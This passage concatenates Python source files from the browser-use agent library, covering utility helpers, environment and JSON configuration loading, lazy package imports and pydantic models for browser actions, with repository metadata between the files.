Then check for embedded wildcards bare_domain = pattern_domain.replace('*.', '') if '*' in bare_domain: if log_warnings: logger = logging.getLogger(__name__) logger.error(f'⛔️ Only *.domain style patterns are supported, ignoring pattern=[{domain_pattern}]') return False # Don't match unsafe patterns # Special handling so that *.google.com also matches bare google.com if pattern_domain.startswith('*.'): parent_domain = pattern_domain[2:] if domain == parent_domain or fnmatch(domain, parent_domain): return True # Normal case: match domain against pattern if fnmatch(domain, pattern_domain): return True return False except Exception as e: logger = logging.getLogger(__name__) logger.error(f'⛔️ Error matching URL {url} with pattern {domain_pattern}: {type(e).__name__}: {e}') return False def merge_dicts(a: dict, b: dict, path: tuple[str, ...] = ()): for key in b: if key in a: if isinstance(a[key], dict) and isinstance(b[key], dict): merge_dicts(a[key], b[key], path + (str(key),)) elif isinstance(a[key], list) and isinstance(b[key], list): a[key] = a[key] + b[key] elif a[key] != b[key]: raise Exception('Conflict at ' + '.'.join(path + (str(key),))) else: a[key] = b[key] return a @cache def get_browser_use_version() -> str: """Get the browser-use package version using the same logic as Agent._set_browser_use_version_and_source""" try: package_root = Path(__file__).parent.parent pyproject_path = package_root / 'pyproject.toml' # Try to read version from pyproject.toml if pyproject_path.exists(): import re with open(pyproject_path, encoding='utf-8') as f: content = f.read() match = re.search(r'version\s*=\s*["\']([^"\']+)["\']', content) if match: version = f'{match.group(1)}' os.environ['LIBRARY_VERSION'] = version # used by bubus event_schema so all Event schemas include versioning return version # If pyproject.toml doesn't exist, try getting version from pip from importlib.metadata import version as get_version version = str(get_version('browser-use')) os.environ['LIBRARY_VERSION'] = version return version except Exception as e: logger.debug(f'Error detecting browser-use version: {type(e).__name__}: {e}') return 'unknown' async def check_latest_browser_use_version() -> str | None: """Check the latest version of browser-use from PyPI asynchronously. Returns: The latest version string if successful, None if failed """ try: async with httpx.AsyncClient(timeout=3.0) as client: response = await client.get('https://pypi.org/pypi/browser-use/json') if response.status_code == 200: data = response.json() return data['info']['version'] except Exception: # Silently fail - we don't want to break agent startup due to network issues pass return None @cache def get_git_info() -> dict[str, str] | None: """Get git information if installed from git repository""" try: import subprocess package_root = Path(__file__).parent.parent git_dir = package_root / '.git' if not git_dir.exists(): return None # Get git commit hash commit_hash = ( subprocess.check_output(['git', 'rev-parse', 'HEAD'], cwd=package_root, stderr=subprocess.DEVNULL).decode().strip() ) # Get git branch branch = ( subprocess.check_output(['git', 'rev-parse', '--abbrev-ref', 'HEAD'], cwd=package_root, stderr=subprocess.DEVNULL) .decode() .strip() ) # Get remote URL remote_url = ( subprocess.check_output(['git', 'config', '--get', 'remote.origin.url'], cwd=package_root, stderr=subprocess.DEVNULL) .decode() .strip() ) # Get commit timestamp commit_timestamp = ( subprocess.check_output(['git', 'show', '-s', '--format=%ci', 'HEAD'], cwd=package_root, stderr=subprocess.DEVNULL) .decode() .strip() ) return {'commit_hash': commit_hash, 'branch': branch, 'remote_url': remote_url, 'commit_timestamp': commit_timestamp} except Exception as e: logger.debug(f'Error getting git info: {type(e).__name__}: {e}') return None def _log_pretty_path(path: str | Path | None) -> str: """Pretty-print a path, shorten home dir to ~ and cwd to .""" if not path or not str(path).strip(): return '' # always falsy in -> falsy out so it can be used in ternaries # dont print anything thats not a path if not isinstance(path, (str, Path)): # no other types are safe to just str(path) and log to terminal unless we know what they are # e.g. what if we get storage_date=dict | Path and the dict version could contain real cookies return f'<{type(path).__name__}>' # replace home dir and cwd with ~ and . pretty_path = str(path).replace(str(Path.home()), '~').replace(str(Path.cwd().resolve()), '.') # wrap in quotes if it contains spaces if pretty_path.strip() and ' ' in pretty_path: pretty_path = f'"{pretty_path}"' return pretty_path def _log_pretty_url(s: str, max_len: int | None = 22) -> str: """Truncate/pretty-print a URL with a maximum length, removing the protocol and www. prefix""" s = s.replace('https://', '').replace('http://', '').replace('www.', '') if max_len is not None and len(s) > max_len: return s[:max_len] + '…' return s def create_task_with_error_handling( coro: Coroutine[Any, Any, T], *, name: str | None = None, logger_instance: logging.Logger | None = None, suppress_exceptions: bool = False, ) -> asyncio.Task[T]: """ Create an asyncio task with proper exception handling to prevent "Task exception was never retrieved" warnings. Args: coro: The coroutine to wrap in a task name: Optional name for the task (useful for debugging) logger_instance: Optional logger instance to use. If None, uses module logger. suppress_exceptions: If True, logs exceptions at ERROR level. If False, logs at WARNING level and exceptions remain retrievable via task.exception() if the caller awaits the task. Default False. Returns: asyncio.Task: The created task with exception handling callback Example: # Fire-and-forget with suppressed exceptions create_task_with_error_handling(some_async_function(), name="my_task", suppress_exceptions=True) # Task with retrievable exceptions (if you plan to await it) task = create_task_with_error_handling(critical_function(), name="critical") result = await task # Will raise the exception if one occurred """ task = asyncio.create_task(coro, name=name) log = logger_instance or logger def _handle_task_exception(t: asyncio.Task[T]) -> None: """Callback to handle task exceptions""" exc_to_raise = None try: # This will raise if the task had an exception exc = t.exception() if exc is not None: task_name = t.get_name() if hasattr(t, 'get_name') else 'unnamed' if suppress_exceptions: log.error(f'Exception in background task [{task_name}]: {type(exc).__name__}: {exc}', exc_info=exc) else: # Log at warning level then mark for re-raising log.warning( f'Exception in background task [{task_name}]: {type(exc).__name__}: {exc}', exc_info=exc, ) exc_to_raise = exc except asyncio.CancelledError: # Task was cancelled, this is normal behavior pass except Exception as e: # Catch any other exception during exception handling (e.g., t.exception() itself failing) task_name = t.get_name() if hasattr(t, 'get_name') else 'unnamed' log.error(f'Error handling exception in task [{task_name}]: {type(e).__name__}: {e}') # Re-raise outside the try-except block so it propagates to the event loop if exc_to_raise is not None: raise exc_to_raise task.add_done_callback(_handle_task_exception) return task def sanitize_surrogates(text: str) -> str: """Remove surrogate characters that can't be encoded in UTF-8. Surrogate pairs (U+D800 to U+DFFF) are invalid in UTF-8 when unpaired. These often appear in DOM content from mathematical symbols or emojis. Args: text: The text to sanitize Returns: Text with surrogate characters removed """ return text.encode('utf-8', errors='ignore').decode('utf-8')
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/config.py
browser_use/config.py
"""Configuration system for browser-use with automatic migration support.""" import json import logging import os from datetime import datetime from functools import cache from pathlib import Path from typing import Any from uuid import uuid4 import psutil from pydantic import BaseModel, ConfigDict, Field from pydantic_settings import BaseSettings, SettingsConfigDict logger = logging.getLogger(__name__) @cache def is_running_in_docker() -> bool: """Detect if we are running in a docker container, for the purpose of optimizing chrome launch flags (dev shm usage, gpu settings, etc.)""" try: if Path('/.dockerenv').exists() or 'docker' in Path('/proc/1/cgroup').read_text().lower(): return True except Exception: pass try: # if init proc (PID 1) looks like uvicorn/python/uv/etc. then we're in Docker # if init proc (PID 1) looks like bash/systemd/init/etc. then we're probably NOT in Docker init_cmd = ' '.join(psutil.Process(1).cmdline()) if ('py' in init_cmd) or ('uv' in init_cmd) or ('app' in init_cmd): return True except Exception: pass try: # if less than 10 total running procs, then we're almost certainly in a container if len(psutil.pids()) < 10: return True except Exception: pass return False class OldConfig: """Original lazy-loading configuration class for environment variables.""" # Cache for directory creation tracking _dirs_created = False @property def BROWSER_USE_LOGGING_LEVEL(self) -> str: return os.getenv('BROWSER_USE_LOGGING_LEVEL', 'info').lower() @property def ANONYMIZED_TELEMETRY(self) -> bool: return os.getenv('ANONYMIZED_TELEMETRY', 'true').lower()[:1] in 'ty1' @property def BROWSER_USE_CLOUD_SYNC(self) -> bool: return os.getenv('BROWSER_USE_CLOUD_SYNC', str(self.ANONYMIZED_TELEMETRY)).lower()[:1] in 'ty1' @property def BROWSER_USE_CLOUD_API_URL(self) -> str: url = os.getenv('BROWSER_USE_CLOUD_API_URL', 'https://api.browser-use.com') assert '://' in url, 'BROWSER_USE_CLOUD_API_URL must be a valid URL' return url @property def BROWSER_USE_CLOUD_UI_URL(self) -> str: url = os.getenv('BROWSER_USE_CLOUD_UI_URL', '') # Allow empty string as default, only validate if set if url and '://' not in url: raise AssertionError('BROWSER_USE_CLOUD_UI_URL must be a valid URL if set') return url # Path configuration @property def XDG_CACHE_HOME(self) -> Path: return Path(os.getenv('XDG_CACHE_HOME', '~/.cache')).expanduser().resolve() @property def XDG_CONFIG_HOME(self) -> Path: return Path(os.getenv('XDG_CONFIG_HOME', '~/.config')).expanduser().resolve() @property def BROWSER_USE_CONFIG_DIR(self) -> Path: path = Path(os.getenv('BROWSER_USE_CONFIG_DIR', str(self.XDG_CONFIG_HOME / 'browseruse'))).expanduser().resolve() self._ensure_dirs() return path @property def BROWSER_USE_CONFIG_FILE(self) -> Path: return self.BROWSER_USE_CONFIG_DIR / 'config.json' @property def BROWSER_USE_PROFILES_DIR(self) -> Path: path = self.BROWSER_USE_CONFIG_DIR / 'profiles' self._ensure_dirs() return path @property def BROWSER_USE_DEFAULT_USER_DATA_DIR(self) -> Path: return self.BROWSER_USE_PROFILES_DIR / 'default' @property def BROWSER_USE_EXTENSIONS_DIR(self) -> Path: path = self.BROWSER_USE_CONFIG_DIR / 'extensions' self._ensure_dirs() return path def _ensure_dirs(self) -> None: """Create directories if they don't exist (only once)""" if not self._dirs_created: config_dir = ( Path(os.getenv('BROWSER_USE_CONFIG_DIR', str(self.XDG_CONFIG_HOME / 'browseruse'))).expanduser().resolve() ) config_dir.mkdir(parents=True, exist_ok=True) (config_dir / 'profiles').mkdir(parents=True, exist_ok=True) (config_dir / 'extensions').mkdir(parents=True, exist_ok=True) self._dirs_created = True # LLM API key configuration @property def OPENAI_API_KEY(self) -> str: return os.getenv('OPENAI_API_KEY', '') @property def ANTHROPIC_API_KEY(self) -> str: return os.getenv('ANTHROPIC_API_KEY', '') @property def GOOGLE_API_KEY(self) -> str: return os.getenv('GOOGLE_API_KEY', '') @property def DEEPSEEK_API_KEY(self) -> str: return os.getenv('DEEPSEEK_API_KEY', '') @property def GROK_API_KEY(self) -> str: return os.getenv('GROK_API_KEY', '') @property def NOVITA_API_KEY(self) -> str: return os.getenv('NOVITA_API_KEY', '') @property def AZURE_OPENAI_ENDPOINT(self) -> str: return os.getenv('AZURE_OPENAI_ENDPOINT', '') @property def AZURE_OPENAI_KEY(self) -> str: return os.getenv('AZURE_OPENAI_KEY', '') @property def SKIP_LLM_API_KEY_VERIFICATION(self) -> bool: return os.getenv('SKIP_LLM_API_KEY_VERIFICATION', 'false').lower()[:1] in 'ty1' @property def DEFAULT_LLM(self) -> str: return os.getenv('DEFAULT_LLM', '') # Runtime hints @property def IN_DOCKER(self) -> bool: return os.getenv('IN_DOCKER', 'false').lower()[:1] in 'ty1' or is_running_in_docker() @property def IS_IN_EVALS(self) -> bool: return os.getenv('IS_IN_EVALS', 'false').lower()[:1] in 'ty1' @property def BROWSER_USE_VERSION_CHECK(self) -> bool: return os.getenv('BROWSER_USE_VERSION_CHECK', 'true').lower()[:1] in 'ty1' @property def WIN_FONT_DIR(self) -> str: return os.getenv('WIN_FONT_DIR', 'C:\\Windows\\Fonts') class FlatEnvConfig(BaseSettings): """All environment variables in a flat namespace.""" model_config = SettingsConfigDict(env_file='.env', env_file_encoding='utf-8', case_sensitive=True, extra='allow') # Logging and telemetry BROWSER_USE_LOGGING_LEVEL: str = Field(default='info') CDP_LOGGING_LEVEL: str = Field(default='WARNING') BROWSER_USE_DEBUG_LOG_FILE: str | None = Field(default=None) BROWSER_USE_INFO_LOG_FILE: str | None = Field(default=None) ANONYMIZED_TELEMETRY: bool = Field(default=True) BROWSER_USE_CLOUD_SYNC: bool | None = Field(default=None) BROWSER_USE_CLOUD_API_URL: str = Field(default='https://api.browser-use.com') BROWSER_USE_CLOUD_UI_URL: str = Field(default='') # Path configuration XDG_CACHE_HOME: str = Field(default='~/.cache') XDG_CONFIG_HOME: str = Field(default='~/.config') BROWSER_USE_CONFIG_DIR: str | None = Field(default=None) # LLM API keys OPENAI_API_KEY: str = Field(default='') ANTHROPIC_API_KEY: str = Field(default='') GOOGLE_API_KEY: str = Field(default='') DEEPSEEK_API_KEY: str = Field(default='') GROK_API_KEY: str = Field(default='') NOVITA_API_KEY: str = Field(default='') AZURE_OPENAI_ENDPOINT: str = Field(default='') AZURE_OPENAI_KEY: str = Field(default='') SKIP_LLM_API_KEY_VERIFICATION: bool = Field(default=False) DEFAULT_LLM: str = Field(default='') # Runtime hints IN_DOCKER: bool | None = Field(default=None) IS_IN_EVALS: bool = Field(default=False) WIN_FONT_DIR: str = Field(default='C:\\Windows\\Fonts') BROWSER_USE_VERSION_CHECK: bool = Field(default=True) # MCP-specific env vars BROWSER_USE_CONFIG_PATH: str | None = Field(default=None) BROWSER_USE_HEADLESS: bool | None = Field(default=None) BROWSER_USE_ALLOWED_DOMAINS: str | None = Field(default=None) BROWSER_USE_LLM_MODEL: str | None = Field(default=None) # Proxy env vars BROWSER_USE_PROXY_URL: str | None = Field(default=None) BROWSER_USE_NO_PROXY: str | None = Field(default=None) BROWSER_USE_PROXY_USERNAME: str | None = Field(default=None) BROWSER_USE_PROXY_PASSWORD: str | None = Field(default=None) # Extension env vars BROWSER_USE_DISABLE_EXTENSIONS: bool | None = Field(default=None) class DBStyleEntry(BaseModel): """Database-style entry with UUID and metadata.""" id: str = Field(default_factory=lambda: str(uuid4())) default: bool = Field(default=False) created_at: str = Field(default_factory=lambda: datetime.utcnow().isoformat()) class BrowserProfileEntry(DBStyleEntry): """Browser profile configuration entry - accepts any BrowserProfile fields.""" model_config = ConfigDict(extra='allow') # Common browser profile fields for reference headless: bool | None = None user_data_dir: str | None = None allowed_domains: list[str] | None = None downloads_path: str | None = None class LLMEntry(DBStyleEntry): """LLM configuration entry.""" api_key: str | None = None model: str | None = None temperature: float | None = None max_tokens: int | None = None class AgentEntry(DBStyleEntry): """Agent configuration entry.""" max_steps: int | None = None use_vision: bool | None = None system_prompt: str | None = None class DBStyleConfigJSON(BaseModel): """New database-style configuration format.""" browser_profile: dict[str, BrowserProfileEntry] = Field(default_factory=dict) llm: dict[str, LLMEntry] = Field(default_factory=dict) agent: dict[str, AgentEntry] = Field(default_factory=dict) def create_default_config() -> DBStyleConfigJSON: """Create a fresh default configuration.""" logger.debug('Creating fresh default config.json') new_config = DBStyleConfigJSON() # Generate default IDs profile_id = str(uuid4()) llm_id = str(uuid4()) agent_id = str(uuid4()) # Create default browser profile entry new_config.browser_profile[profile_id] = BrowserProfileEntry(id=profile_id, default=True, headless=False, user_data_dir=None) # Create default LLM entry new_config.llm[llm_id] = LLMEntry(id=llm_id, default=True, model='gpt-4.1-mini', api_key='your-openai-api-key-here') # Create default agent entry new_config.agent[agent_id] = AgentEntry(id=agent_id, default=True) return new_config def load_and_migrate_config(config_path: Path) -> DBStyleConfigJSON: """Load config.json or create fresh one if old format detected.""" if not config_path.exists(): # Create fresh config with defaults config_path.parent.mkdir(parents=True, exist_ok=True) new_config = create_default_config() with open(config_path, 'w') as f: json.dump(new_config.model_dump(), f, indent=2) return new_config try: with open(config_path) as f: data = json.load(f) # Check if it's already in DB-style format if all(key in data for key in ['browser_profile', 'llm', 'agent']) and all( isinstance(data.get(key, {}), dict) for key in ['browser_profile', 'llm', 'agent'] ): # Check if the values are DB-style entries (have UUIDs as keys) if data.get('browser_profile') and all(isinstance(v, dict) and 'id' in v for v in data['browser_profile'].values()): # Already in new format return DBStyleConfigJSON(**data) # Old format detected - delete it and create fresh config logger.debug(f'Old config format detected at {config_path}, creating fresh config') new_config = create_default_config() # Overwrite with new config with open(config_path, 'w') as f: json.dump(new_config.model_dump(), f, indent=2) logger.debug(f'Created fresh config.json at {config_path}') return new_config except Exception as e: logger.error(f'Failed to load config from {config_path}: {e}, creating fresh config') # On any error, create fresh config new_config = create_default_config() try: with open(config_path, 'w') as f: json.dump(new_config.model_dump(), f, indent=2) except Exception as write_error: logger.error(f'Failed to write fresh config: {write_error}') return new_config class Config: """Backward-compatible configuration class that merges all config sources. Re-reads environment variables on every access to maintain compatibility. """ def __init__(self): # Cache for directory creation tracking only self._dirs_created = False def __getattr__(self, name: str) -> Any: """Dynamically proxy all attributes to fresh instances. This ensures env vars are re-read on every access. """ # Special handling for internal attributes if name.startswith('_'): raise AttributeError(f"'{self.__class__.__name__}' object has no attribute '{name}'") # Create fresh instances on every access old_config = OldConfig() # Always use old config for all attributes (it handles env vars with proper transformations) if hasattr(old_config, name): return getattr(old_config, name) # For new MCP-specific attributes not in old config env_config = FlatEnvConfig() if hasattr(env_config, name): return getattr(env_config, name) # Handle special methods if name == 'get_default_profile': return lambda: self._get_default_profile() elif name == 'get_default_llm': return lambda: self._get_default_llm() elif name == 'get_default_agent': return lambda: self._get_default_agent() elif name == 'load_config': return lambda: self._load_config() elif name == '_ensure_dirs': return lambda: old_config._ensure_dirs() raise AttributeError(f"'{self.__class__.__name__}' object has no attribute '{name}'") def _get_config_path(self) -> Path: """Get config path from fresh env config.""" env_config = FlatEnvConfig() if env_config.BROWSER_USE_CONFIG_PATH: return Path(env_config.BROWSER_USE_CONFIG_PATH).expanduser() elif env_config.BROWSER_USE_CONFIG_DIR: return Path(env_config.BROWSER_USE_CONFIG_DIR).expanduser() / 'config.json' else: xdg_config = Path(env_config.XDG_CONFIG_HOME).expanduser() return xdg_config / 'browseruse' / 'config.json' def _get_db_config(self) -> DBStyleConfigJSON: """Load and migrate config.json.""" config_path = self._get_config_path() return load_and_migrate_config(config_path) def _get_default_profile(self) -> dict[str, Any]: """Get the default browser profile configuration.""" db_config = self._get_db_config() for profile in db_config.browser_profile.values(): if profile.default: return profile.model_dump(exclude_none=True) # Return first profile if no default if db_config.browser_profile: return next(iter(db_config.browser_profile.values())).model_dump(exclude_none=True) return {} def _get_default_llm(self) -> dict[str, Any]: """Get the default LLM configuration.""" db_config = self._get_db_config() for llm in db_config.llm.values(): if llm.default: return llm.model_dump(exclude_none=True) # Return first LLM if no default if db_config.llm: return next(iter(db_config.llm.values())).model_dump(exclude_none=True) return {} def _get_default_agent(self) -> dict[str, Any]: """Get the default agent configuration.""" db_config = self._get_db_config() for agent in db_config.agent.values(): if agent.default: return agent.model_dump(exclude_none=True) # Return first agent if no default if db_config.agent: return next(iter(db_config.agent.values())).model_dump(exclude_none=True) return {} def _load_config(self) -> dict[str, Any]: """Load configuration with env var overrides for MCP components.""" config = { 'browser_profile': self._get_default_profile(), 'llm': self._get_default_llm(), 'agent': self._get_default_agent(), } # Fresh env config for overrides env_config = FlatEnvConfig() # Apply MCP-specific env var overrides if env_config.BROWSER_USE_HEADLESS is not None: config['browser_profile']['headless'] = env_config.BROWSER_USE_HEADLESS if env_config.BROWSER_USE_ALLOWED_DOMAINS: domains = [d.strip() for d in env_config.BROWSER_USE_ALLOWED_DOMAINS.split(',') if d.strip()] config['browser_profile']['allowed_domains'] = domains # Proxy settings (Chromium) -> consolidated `proxy` dict proxy_dict: dict[str, Any] = {} if env_config.BROWSER_USE_PROXY_URL: proxy_dict['server'] = env_config.BROWSER_USE_PROXY_URL if env_config.BROWSER_USE_NO_PROXY: # store bypass as comma-separated string to match Chrome flag proxy_dict['bypass'] = ','.join([d.strip() for d in env_config.BROWSER_USE_NO_PROXY.split(',') if d.strip()]) if env_config.BROWSER_USE_PROXY_USERNAME: proxy_dict['username'] = env_config.BROWSER_USE_PROXY_USERNAME if env_config.BROWSER_USE_PROXY_PASSWORD: proxy_dict['password'] = env_config.BROWSER_USE_PROXY_PASSWORD if proxy_dict: # ensure section exists config.setdefault('browser_profile', {}) config['browser_profile']['proxy'] = proxy_dict if env_config.OPENAI_API_KEY: config['llm']['api_key'] = env_config.OPENAI_API_KEY if env_config.BROWSER_USE_LLM_MODEL: config['llm']['model'] = env_config.BROWSER_USE_LLM_MODEL # Extension settings if env_config.BROWSER_USE_DISABLE_EXTENSIONS is not None: config['browser_profile']['enable_default_extensions'] = not env_config.BROWSER_USE_DISABLE_EXTENSIONS return config # Create singleton instance CONFIG = Config() # Helper functions for MCP components def load_browser_use_config() -> dict[str, Any]: """Load browser-use configuration for MCP components.""" return CONFIG.load_config() def get_default_profile(config: dict[str, Any]) -> dict[str, Any]: """Get default browser profile from config dict.""" return config.get('browser_profile', {}) def get_default_llm(config: dict[str, Any]) -> dict[str, Any]: """Get default LLM config from config dict.""" return config.get('llm', {})
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/__init__.py
browser_use/__init__.py
import os from typing import TYPE_CHECKING from browser_use.logging_config import setup_logging # Only set up logging if not in MCP mode or if explicitly requested if os.environ.get('BROWSER_USE_SETUP_LOGGING', 'true').lower() != 'false': from browser_use.config import CONFIG # Get log file paths from config/environment debug_log_file = getattr(CONFIG, 'BROWSER_USE_DEBUG_LOG_FILE', None) info_log_file = getattr(CONFIG, 'BROWSER_USE_INFO_LOG_FILE', None) # Set up logging with file handlers if specified logger = setup_logging(debug_log_file=debug_log_file, info_log_file=info_log_file) else: import logging logger = logging.getLogger('browser_use') # Monkeypatch BaseSubprocessTransport.__del__ to handle closed event loops gracefully from asyncio import base_subprocess _original_del = base_subprocess.BaseSubprocessTransport.__del__ def _patched_del(self): """Patched __del__ that handles closed event loops without throwing noisy red-herring errors like RuntimeError: Event loop is closed""" try: # Check if the event loop is closed before calling the original if hasattr(self, '_loop') and self._loop and self._loop.is_closed(): # Event loop is closed, skip cleanup that requires the loop return _original_del(self) except RuntimeError as e: if 'Event loop is closed' in str(e): # Silently ignore this specific error pass else: raise base_subprocess.BaseSubprocessTransport.__del__ = _patched_del # Type stubs for lazy imports - fixes linter warnings if TYPE_CHECKING: from browser_use.agent.prompts import SystemPrompt from browser_use.agent.service import Agent # from browser_use.agent.service import Agent from browser_use.agent.views import ActionModel, ActionResult, AgentHistoryList from browser_use.browser import BrowserProfile, BrowserSession from browser_use.browser import BrowserSession as Browser from browser_use.code_use.service import CodeAgent from browser_use.dom.service import DomService from browser_use.llm import models from browser_use.llm.anthropic.chat import ChatAnthropic from browser_use.llm.azure.chat import ChatAzureOpenAI from browser_use.llm.browser_use.chat import ChatBrowserUse from browser_use.llm.google.chat import ChatGoogle from browser_use.llm.groq.chat import ChatGroq from browser_use.llm.mistral.chat import ChatMistral from browser_use.llm.oci_raw.chat import ChatOCIRaw from browser_use.llm.ollama.chat import ChatOllama from browser_use.llm.openai.chat import ChatOpenAI from browser_use.llm.vercel.chat import ChatVercel from browser_use.sandbox import sandbox from browser_use.tools.service import Controller, Tools # Lazy imports mapping - only import when actually accessed _LAZY_IMPORTS = { # Agent service (heavy due to dependencies) # 'Agent': ('browser_use.agent.service', 'Agent'), # Code-use agent (Jupyter notebook-like execution) 'CodeAgent': ('browser_use.code_use.service', 'CodeAgent'), 'Agent': ('browser_use.agent.service', 'Agent'), # System prompt (moderate weight due to agent.views imports) 'SystemPrompt': ('browser_use.agent.prompts', 'SystemPrompt'), # Agent views (very heavy - over 1 second!) 'ActionModel': ('browser_use.agent.views', 'ActionModel'), 'ActionResult': ('browser_use.agent.views', 'ActionResult'), 'AgentHistoryList': ('browser_use.agent.views', 'AgentHistoryList'), 'BrowserSession': ('browser_use.browser', 'BrowserSession'), 'Browser': ('browser_use.browser', 'BrowserSession'), # Alias for BrowserSession 'BrowserProfile': ('browser_use.browser', 'BrowserProfile'), # Tools (moderate weight) 'Tools': ('browser_use.tools.service', 'Tools'), 'Controller': ('browser_use.tools.service', 'Controller'), # alias # DOM service (moderate weight) 'DomService': ('browser_use.dom.service', 'DomService'), # Chat models (very heavy imports) 'ChatOpenAI': ('browser_use.llm.openai.chat', 'ChatOpenAI'), 'ChatGoogle': ('browser_use.llm.google.chat', 'ChatGoogle'), 'ChatAnthropic': ('browser_use.llm.anthropic.chat', 'ChatAnthropic'), 'ChatBrowserUse': ('browser_use.llm.browser_use.chat', 'ChatBrowserUse'), 'ChatGroq': ('browser_use.llm.groq.chat', 'ChatGroq'), 'ChatMistral': ('browser_use.llm.mistral.chat', 'ChatMistral'), 'ChatAzureOpenAI': ('browser_use.llm.azure.chat', 'ChatAzureOpenAI'), 'ChatOCIRaw': ('browser_use.llm.oci_raw.chat', 'ChatOCIRaw'), 'ChatOllama': ('browser_use.llm.ollama.chat', 'ChatOllama'), 'ChatVercel': ('browser_use.llm.vercel.chat', 'ChatVercel'), # LLM models module 'models': ('browser_use.llm.models', None), # Sandbox execution 'sandbox': ('browser_use.sandbox', 'sandbox'), } def __getattr__(name: str): """Lazy import mechanism - only import modules when they're actually accessed.""" if name in _LAZY_IMPORTS: module_path, attr_name = _LAZY_IMPORTS[name] try: from importlib import import_module module = import_module(module_path) if attr_name is None: # For modules like 'models', return the module itself attr = module else: attr = getattr(module, attr_name) # Cache the imported attribute in the module's globals globals()[name] = attr return attr except ImportError as e: raise ImportError(f'Failed to import {name} from {module_path}: {e}') from e raise AttributeError(f"module '{__name__}' has no attribute '{name}'") __all__ = [ 'Agent', 'CodeAgent', # 'CodeAgent', 'BrowserSession', 'Browser', # Alias for BrowserSession 'BrowserProfile', 'Controller', 'DomService', 'SystemPrompt', 'ActionResult', 'ActionModel', 'AgentHistoryList', # Chat models 'ChatOpenAI', 'ChatGoogle', 'ChatAnthropic', 'ChatBrowserUse', 'ChatGroq', 'ChatMistral', 'ChatAzureOpenAI', 'ChatOCIRaw', 'ChatOllama', 'ChatVercel', 'Tools', 'Controller', # LLM models module 'models', # Sandbox execution 'sandbox', ]
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/controller/__init__.py
browser_use/controller/__init__.py
from browser_use.tools.service import Controller __all__ = ['Controller']
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/tools/views.py
browser_use/tools/views.py
from typing import Generic, TypeVar from pydantic import BaseModel, ConfigDict, Field # Action Input Models class ExtractAction(BaseModel): query: str extract_links: bool = Field( default=False, description='Set True to true if the query requires links, else false to safe tokens' ) start_from_char: int = Field( default=0, description='Use this for long markdowns to start from a specific character (not index in browser_state)' ) class SearchAction(BaseModel): query: str engine: str = Field( default='duckduckgo', description='duckduckgo, google, bing (use duckduckgo by default because less captchas)' ) # Backward compatibility alias SearchAction = SearchAction class NavigateAction(BaseModel): url: str new_tab: bool = Field(default=False) # Backward compatibility alias GoToUrlAction = NavigateAction class ClickElementAction(BaseModel): index: int | None = Field(default=None, ge=1, description='Element index from browser_state') coordinate_x: int | None = Field(default=None, description='Horizontal coordinate relative to viewport left edge') coordinate_y: int | None = Field(default=None, description='Vertical coordinate relative to viewport top edge') # expect_download: bool = Field(default=False, description='set True if expecting a download, False otherwise') # moved to downloads_watchdog.py # click_count: int = 1 # TODO class ClickElementActionIndexOnly(BaseModel): model_config = ConfigDict(title='ClickElementAction') index: int = Field(ge=1, description='Element index from browser_state') class InputTextAction(BaseModel): index: int = Field(ge=0, description='from browser_state') text: str clear: bool = Field(default=True, description='1=clear, 0=append') class DoneAction(BaseModel): text: str = Field(description='Final user message in the format the user requested') success: bool = Field(default=True, description='True if user_request completed successfully') files_to_display: list[str] | None = Field(default=[]) T = TypeVar('T', bound=BaseModel) class StructuredOutputAction(BaseModel, Generic[T]): success: bool = Field(default=True, description='True if user_request completed successfully') data: T = Field(description='The actual output data matching the requested schema') class SwitchTabAction(BaseModel): tab_id: str = Field(min_length=4, max_length=4, description='4-char id') class CloseTabAction(BaseModel): tab_id: str = Field(min_length=4, max_length=4, description='4-char id') class ScrollAction(BaseModel): down: bool = Field(default=True, description='down=True=scroll down, down=False scroll up') pages: float = Field(default=1.0, description='0.5=half page, 1=full page, 10=to bottom/top') index: int | None = Field(default=None, description='Optional element index to scroll within specific container') class SendKeysAction(BaseModel): keys: str = Field(description='keys (Escape, Enter, PageDown) or shortcuts (Control+o)') class UploadFileAction(BaseModel): index: int path: str class NoParamsAction(BaseModel): model_config = ConfigDict(extra='ignore') # Optional field required by Gemini API which errors on empty objects in response_schema description: str | None = Field(None, description='Optional description for the action') class GetDropdownOptionsAction(BaseModel): index: int class SelectDropdownOptionAction(BaseModel): index: int text: str = Field(description='exact text/value')
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/tools/service.py
browser_use/tools/service.py
import asyncio import json import logging import os from typing import Generic, TypeVar try: from lmnr import Laminar # type: ignore except ImportError: Laminar = None # type: ignore from pydantic import BaseModel from browser_use.agent.views import ActionModel, ActionResult from browser_use.browser import BrowserSession from browser_use.browser.events import ( ClickCoordinateEvent, ClickElementEvent, CloseTabEvent, GetDropdownOptionsEvent, GoBackEvent, NavigateToUrlEvent, ScrollEvent, ScrollToTextEvent, SendKeysEvent, SwitchTabEvent, TypeTextEvent, UploadFileEvent, ) from browser_use.browser.views import BrowserError from browser_use.dom.service import EnhancedDOMTreeNode from browser_use.filesystem.file_system import FileSystem from browser_use.llm.base import BaseChatModel from browser_use.llm.messages import SystemMessage, UserMessage from browser_use.observability import observe_debug from browser_use.tools.registry.service import Registry from browser_use.tools.utils import get_click_description from browser_use.tools.views import ( ClickElementAction, ClickElementActionIndexOnly, CloseTabAction, DoneAction, ExtractAction, GetDropdownOptionsAction, InputTextAction, NavigateAction, NoParamsAction, ScrollAction, SearchAction, SelectDropdownOptionAction, SendKeysAction, StructuredOutputAction, SwitchTabAction, UploadFileAction, ) from browser_use.utils import create_task_with_error_handling, sanitize_surrogates, time_execution_sync logger = 